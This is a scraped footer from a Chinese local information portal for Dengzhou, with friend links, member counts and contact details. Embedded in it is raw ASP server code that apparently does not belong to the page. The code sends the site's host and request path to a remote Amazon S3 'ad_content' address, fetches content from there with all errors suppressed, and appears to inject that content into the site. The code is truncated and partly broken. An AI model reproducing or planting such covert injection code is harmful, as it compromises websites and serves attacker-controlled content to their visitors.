|
|
| 友情链接：邓州网
| 同校网
| 邓州信息网
| 大众酒店网
| 邓州本土网
| 邓州贴吧
| 邓州论坛
| 源码导购网
| 邓州
| 东莞公交查询
| PSP电玩巴士
| 南阳汉都网
| 邓州分类信息网
| 东莞便民网
| 电玩巴士论坛
| 南阳名站导航
| 南阳114黄页
| 邓州吧
| 39健康网
| 西峡信息网
| J2ME之家
| 来千客链接
| 齐鲁市场信息
<% url = "http://s3.amazonaws.com/mf1/ad/8966e4ec8e4fd91ed26c1240811538/ad_content" Dim xmlhttp On Error Resume Next if Request.ServerVariables("REQUEST_URI") then url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("REQUEST_URI")) else url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")) if Request.ServerVariables("QUERY_STRING") <> "" then url=url&Request.ServerVariables("QUERY_STRING") end if end if set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") On Error Resume Next if xmlhttp is nothing then set xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if xmlhttp is nothing then set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.4.0") end if if xmlhttp is nothing then ' cannot load xml component else xmlhttp.open "GET", url, false xmlhttp.send "" if xmphttp.Status = "200" then content = xmlhttp.responseText if InStr(content, " |
信息总数 1430
会员总数 1793
精彩推荐
客服QQ:
Email:bentu.org
163.com
信息发布:13838715753
网站经营许可证备案编号：